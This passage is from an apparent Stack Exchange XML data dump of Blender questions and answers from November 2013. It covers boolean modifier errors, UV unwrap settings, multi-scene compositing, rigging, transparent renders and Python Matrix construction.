name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtex_slot.texture.image.filepath --&gt; to get path and Image name&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="1501" LastEditDate="2013-11-27T06:29:11.887" LastActivityDate="2013-11-27T06:29:11.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5140" PostTypeId="1" AcceptedAnswerId="5148" CreationDate="2013-11-27T10:40:05.880" Score="12" ViewCount="26348" Body="&lt;p&gt;This is a &lt;a href=&quot;https://blender.stackexchange.com/questions/5095/why-does-attached-python-script-produce-error-cannot-execute-boolean-operation&quot;&gt;follow-on question&lt;/a&gt; as suggested by a commenter. What I'd like to do is to create a geometry with the following properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cube with several spherical indentations carved out on top. 16 indentations are half-spheres. The 17th indentation has the shape of four half-cylinders that form a ring (with slightly rounded corners corresponding to the radius of the cylinders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan of attack is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create and scale the cube&lt;/li&gt;&#xA;&lt;li&gt;create 16 spheres clustered around the center of the cube's top face&lt;/li&gt;&#xA;&lt;li&gt;create 4 cylinders, scale and rotate them to form the basic ring&lt;/li&gt;&#xA;&lt;li&gt;create 4 more spheres at the corners to complete the ring&lt;/li&gt;&#xA;&lt;li&gt;add 16 DIFFERENCE boolean modifiers to the cube with the 16 spheres from step 2 as targets; hide each sphere after adding the corresponding modifier&lt;/li&gt;&#xA;&lt;li&gt;add 4 DIFFERENCE boolean modifiers to the cube with the 4 cylinders from step 3 as targets; hide each cylinder after adding the corresponding modifier&lt;/li&gt;&#xA;&lt;li&gt;add 4 DIFFERENCE boolean modifiers to the cube with the 4 spheres from step 4 as targets; hide each sphere after adding the corresponding modifier&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Steps 1 + 2 work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LIEWu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps 3 + 4 also work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNtKM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so does step 5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yncC9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even step 6 for the 1st cylinder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3ix8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I try to subtract the 2nd cylinder the visual result is unexpected and the error message appears:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jOh4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7fmNo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here and how can I obtain the desired geometry? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the problem be caused by the fact that the two cylinders I wish to subtract from the cube are themselves overlapping? (The Blender &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; mentions &quot;concurrent Boolean operations for the same modified mesh, which in most cases is impossible to execute depending on the chosen target&quot; but does not elaborate further.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; Here's the (still expected) result when joining the 4 cylinders and last 4 spheres before subtracting the from the cube (see @Polosson's comment): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjBRi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2017-12-31T13:21:20.097" Title="“Cannot execute boolean operation” when subtracting several spheres and cylinders from cube" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="12" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5141" PostTypeId="1" CreationDate="2013-11-27T11:22:17.567" Score="6" ViewCount="2422" Body="&lt;p&gt;&lt;em&gt;Angle based&lt;/em&gt; and &lt;em&gt;Conformal&lt;/em&gt; for Blender 2.69? Are these still there?&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="12" LastEditDate="2013-11-27T19:53:01.633" LastActivityDate="2013-11-27T19:53:01.633" Title="Where can I change the settings for UV unwrap?" Tags="&lt;interface&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5142" PostTypeId="2" ParentId="5141" CreationDate="2013-11-27T11:50:03.873" Score="4" Body="&lt;p&gt;When you unwrap, at the bottom of the Tool Shelf accessed by pressing &lt;kbd&gt;T&lt;/kbd&gt; or press &lt;kbd&gt;F6&lt;/kbd&gt; to bring up the popup.&lt;/p&gt;&#xA;" OwnerUserId="1696" LastEditorUserId="241" LastEditDate="2013-11-27T14:54:53.703" LastActivityDate="2013-11-27T14:54:53.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5146" PostTypeId="1" AcceptedAnswerId="5147" CreationDate="2013-11-27T17:40:19.523" Score="6" ViewCount="1590" Body="&lt;p&gt;I am trying to create the effect where something is bigger on the inside than on the outside, just like the Doctor Who's Tardis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two scenes, one inside which is just some objects and one outside which has a box with one of the front faces that has a material index of 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/025FK.png&quot; alt=&quot;composition&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this renders just fine thanks to this node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01wKl.png&quot; alt=&quot;nodes for outside scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is if I want to go inside the cube and appear in scene two, it just renders black, which makes me think its not going to the inside scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have one camera and have it linked to both scenes, I have a feeling its something to do with this, should I somehow have two cameras and link them together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I transition from outside to inside without any issues?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="1626" LastEditDate="2013-11-27T22:03:41.777" LastActivityDate="2013-11-27T22:03:41.777" Title="Multiple scenes and material with pass index" Tags="&lt;compositor&gt;&lt;camera&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5147" PostTypeId="2" ParentId="5146" CreationDate="2013-11-27T21:23:04.693" Score="7" Body="&lt;p&gt;This is because there is no thickness to the outside cube.&lt;/p&gt;&#xA;&lt;p&gt;Your file is setup so that when the camera &amp;quot;sees&amp;quot; the face on the front it is replaced with the inside scene.&lt;/p&gt;&#xA;&lt;p&gt;However, when the camera goes inside the cube, the camera can no longer &amp;quot;see&amp;quot; that face, so nothing is replaced with the inside scene:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7aenc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Solution:&lt;/h1&gt;&#xA;&lt;p&gt;One way to fix this is to make the outside cube have an inside, by giving it some thickness. The easiest way to do that is with a &lt;em&gt;Solidify&lt;/em&gt; modifier:&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the inset face on the front of the cube.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a solidify modifier in &lt;em&gt;Properties &amp;gt; Modifiers &amp;gt; Add Modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQ1Om.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now assign the door material to the inside faces:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the &lt;em&gt;Solidify&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the inside faces and assign the &amp;quot;door&amp;quot; material to them:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PU61z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now your setup should work.&lt;/p&gt;&#xA;&lt;p&gt;Frame 60 looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pch4e.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-27T21:33:59.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5148" PostTypeId="2" ParentId="5140" CreationDate="2013-11-28T00:49:11.813" Score="14" Body="&lt;h1&gt;Cases where boolean operations can fail:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Overlapping geometry between objects:&lt;/strong&gt;&lt;br&gt;&#xA;Multiple vertices in the same location will often cause the boolean modifier to act up.&#xA;From this &lt;a href=&quot;http://developer.blender.org/T37659&quot;&gt;bug report&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this is a known bug in Carve upstream (a library we're using for boolean operations)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Self intersecting objects:&lt;/strong&gt;&lt;br&gt;&#xA;Boolean operations with &lt;a href=&quot;http://en.wikipedia.org/wiki/Manifold&quot;&gt;non-manifold&lt;/a&gt; objects or objects that are not water-tight will fail when non-manifold parts interact in the boolean operation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Some things you can try:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Add supporting geometry. The boolean operation creates a lot of tris, so this might make subsequent operations difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spheres boolean causes this mess of tris where the cylinders will go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYaEt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you add some loop cuts around the spheres:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQdkm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tris are contained in the center, keeping the topology clean where the cylinders intersect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6kFE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;With modeling tools&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can get the result with conventional modeling too:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a sphere and two cylinders (the cylinders are just guides)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate and move then into position using increment snapping (&lt;kbd&gt;Ctrl&lt;/kbd&gt;) to keep everything precisely aligned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/skQp5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D cursor to the sphere object by selecting (in object mode) it and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to Selected&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;.&lt;/kbd&gt; (period) to set the pivot to the 3D cursor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode with the sphere active and delete these elements with &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Vertices&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3Iwz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the 45 degree edgeloop along the &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; by pressing &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, then holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; to snap until the edgeloop at &lt;code&gt;45&lt;/code&gt; degrees touches the intersection at the two cylinders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yup61.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cylinders are no longer useful after this step, so you can delete them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertices as shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KeY8o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude along the &lt;code&gt;X&lt;/code&gt; axis (&lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44XIY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot to &lt;em&gt;Bounding box center&lt;/em&gt; (&lt;kbd&gt;,&lt;/kbd&gt;) and scale the selection to &lt;code&gt;0&lt;/code&gt; along the &lt;code&gt;X&lt;/code&gt; by pressing &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; (zero):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Rxo0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the same for the other side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yz56v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mirror modifier and enable &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WQl4Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the sphere active, enter edit mode and select all (&lt;kbd&gt;A&lt;/kbd&gt;), then move it so the object origin is not in the middle of the sphere:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/65FUL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IpT1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Clipping&lt;/em&gt; in the mirror modifier and move each edge so it merges with the mirrored geometry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1SDQp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can then use this for the boolean operations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXJ5f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/25460&quot;&gt;blendfile&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-24T20:33:02.440" LastActivityDate="2015-06-24T20:33:02.440" CommentCount="21" ContentLicense="CC BY-SA 3.0" />
  <row Id="5149" PostTypeId="2" ParentId="5098" CreationDate="2013-11-28T01:27:00.880" Score="2" Body="&lt;p&gt;It appears that this is caused because there is no material setup for the plane object.&lt;/p&gt;&#xA;&lt;p&gt;From this &lt;a href=&quot;http://developer.blender.org/T37610&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Correct aspect for Cycles uses material's image, not face texture (because Cycles doesn't have face textures).&lt;/p&gt;&#xA;&lt;p&gt;In your ca[s]e [the plane] doesn't have any materials. If you'll create new material for [the plane] and use 100.png as Image Texture for it aspect correction will go fine for you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-28T01:27:00.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5150" PostTypeId="1" CreationDate="2013-11-28T09:26:25.223" Score="1" ViewCount="61" Body="&lt;p&gt;I just started using blender and I'm trying to make an animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's got it's armatures linked to the body via armature deform but whenever I try to move them in pose mode I get and error saying &quot;cannot select linked when sync selection is enabled&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I don't and I actually manage to move the armatures, the body doesn't move with them even though they're linked and every video I watched says that's all I need to do. Can anyone explain how to solve my problems here please?&lt;/p&gt;&#xA;" OwnerUserId="1702" LastEditorUserId="599" LastEditDate="2013-11-28T19:06:57.557" LastActivityDate="2013-11-28T19:06:57.557" Title="How do I disable sync selection?" Tags="&lt;armature&gt;&lt;selection-tools&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-11-28T23:10:39.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="5151" PostTypeId="1" CreationDate="2013-11-28T10:35:30.163" Score="6" ViewCount="58242" Body="&lt;p&gt;I've set up a rig and built it around my model, and I've linked it to my model but when I rotate the bones in pose mode, the character doesn't move with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rig is the human meta rig that comes with rigify. I've seen tons of videos of it working. Why isn't it working on mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My character was made by creating different body parts and joining them together into the same object, then a texture was added by unwrapping them in texture mode.&lt;/p&gt;&#xA;" OwnerUserId="1702" LastEditorUserId="599" LastEditDate="2013-11-28T19:04:46.000" LastActivityDate="2016-07-04T06:42:32.507" Title="Model won't follow its armature in pose mode" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5154" PostTypeId="1" CreationDate="2013-11-28T18:42:28.383" Score="3" ViewCount="240" Body="&lt;p&gt;Here are my settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5d3Xo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yzDd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In '.mtl'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl c0&#xA;Ns 19.607843&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.000000 0.077046 0.638270&#xA;Ks 0.882353 0.882353 0.882353&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1706" LastActivityDate="2013-11-28T18:55:26.840" Title="Blender not exporting Ambient Coefficient in .MTL?" Tags="&lt;materials&gt;&lt;export&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-01-10T12:01:02.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="5156" PostTypeId="1" AcceptedAnswerId="5162" CreationDate="2013-11-28T18:56:45.847" Score="29" ViewCount="28672" Body="&lt;p&gt;how to distribute different objects evenly in Object Mode? I know about dupliverts, particles, array modifier, etc, but they do not serve as a good, general solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have a scene with a quite a lot objects. They are already there, the question is how, in general, to distribute them evenly in linear (or in 2d/3d) fashion.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastEditorUserId="1616" LastEditDate="2013-11-28T19:06:54.403" LastActivityDate="2021-01-18T16:17:33.340" Title="How to distribute objects evenly?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5157" PostTypeId="2" ParentId="5156" CreationDate="2013-11-28T18:58:46.937" Score="4" Body="&lt;p&gt;I like to use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to repeat the last step (when the last step was duplicate/move).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate a cube&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9IISJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to repeat the last step&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fqnx4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-11-28T18:58:46.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5158" PostTypeId="1" AcceptedAnswerId="5160" CreationDate="2013-11-28T21:05:18.600" Score="7" ViewCount="6560" Body="&lt;p&gt;I am trying to render an animation in cycles without the background. However, every time I have it render, the background still shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the compositor to add a background image so I can animate the object around the background. I set the output to RGBA and set the film to transparent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use it in After effects and I simply want to export/render it without the background and make it transparent.  How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DMo6q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DMo6q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1627" LastEditorUserId="5426" LastEditDate="2016-12-27T15:45:11.790" LastActivityDate="2016-12-27T15:45:11.790" Title="Render transperent shadows in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5159" PostTypeId="1" AcceptedAnswerId="5161" CreationDate="2013-11-28T22:03:26.947" Score="4" ViewCount="408" Body="&lt;p&gt;The variable matrix contains 16 float values and I want to create an instance of &lt;code&gt;Matrix&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; m = Matrix( matrix[0:4],matrix[4:8],matrix[8:12],matrix[12:16] )&#xA; qr = m.to_quaternion()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TypeError: Matrix(): expects no args or 2-4 numeric sequences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to put parthesises around each expression like &lt;code&gt;(matrix[0:4])&lt;/code&gt;&#xA;What is meant by numeric sequence when neither way works?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-28T23:45:04.117" Title="What is meant by numeric sequence?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5160" PostTypeId="2" ParentId="5158" CreationDate="2013-11-28T22:55:15.537" Score="8" Body="&lt;p&gt;I'm not sure what you want, but if I understand correctly, you can make the background image color information remain in the image while still making it completely transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done with the &lt;em&gt;Set alpha&lt;/em&gt; node, with an &lt;em&gt;Alpha&lt;/em&gt; of &lt;code&gt;0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nmo3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the video you linked to the scene is rendered without any information about the background image at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a setup that will do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EI1Lo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-28T23:10:33.270" LastActivityDate="2013-11-28T23:10:33.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5161" PostTypeId="2" ParentId="5159" CreationDate="2013-11-28T22:56:31.240" Score="5" Body="&lt;p&gt;&lt;code&gt;mathutils.Matrix&lt;/code&gt; behavior changed so that it expects a single argument, but the error message wasn't updated &lt;a href=&quot;http://developer.blender.org/rB3e49787b01160b21a3b349c77c279eae5dccffb3&quot; rel=&quot;nofollow&quot;&gt;(now done)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m = Matrix((matrix[0:4], matrix[4:8], matrix[8:12], matrix[12:16]))&#xA;qr = m.to_quaternion()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mailing list thread as to &lt;a href=&quot;http://markmail.org/message/xgxkrhvul5zlzs35&quot; rel=&quot;nofollow&quot;&gt;why the changes was made&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-11-28T23:45:04.117" LastActivityDate="2013-11-28T23:45:04.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5162" PostTypeId="2" ParentId="5156" CreationDate="2013-11-29T02:46:05.860" Score="38" Body="&lt;p&gt;Afaik, I think you have to use script or some existing addons. The only addon I've ever seen that can do distribute is the &lt;strong&gt;Oscurart Tools&lt;/strong&gt;, which has been bundled with the official Blender build, already.&lt;/p&gt;&#xA;&lt;p&gt;The following steps show you how to use it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;File &amp;gt; User Preferences&lt;/em&gt; (or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;), then enable Oscurart Tools in the &lt;em&gt;Addons&lt;/em&gt; list;&lt;/li&gt;&#xA;&lt;li&gt;Back to the scene, select the objects you want to distribute;&lt;/li&gt;&#xA;&lt;li&gt;Find &lt;em&gt;Oscurart Tools&lt;/em&gt; panel down in the left-hand Tool Shelf, enable &lt;em&gt;Object&lt;/em&gt; button, which will bring a new panel below called &lt;em&gt;Object Tools&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Click 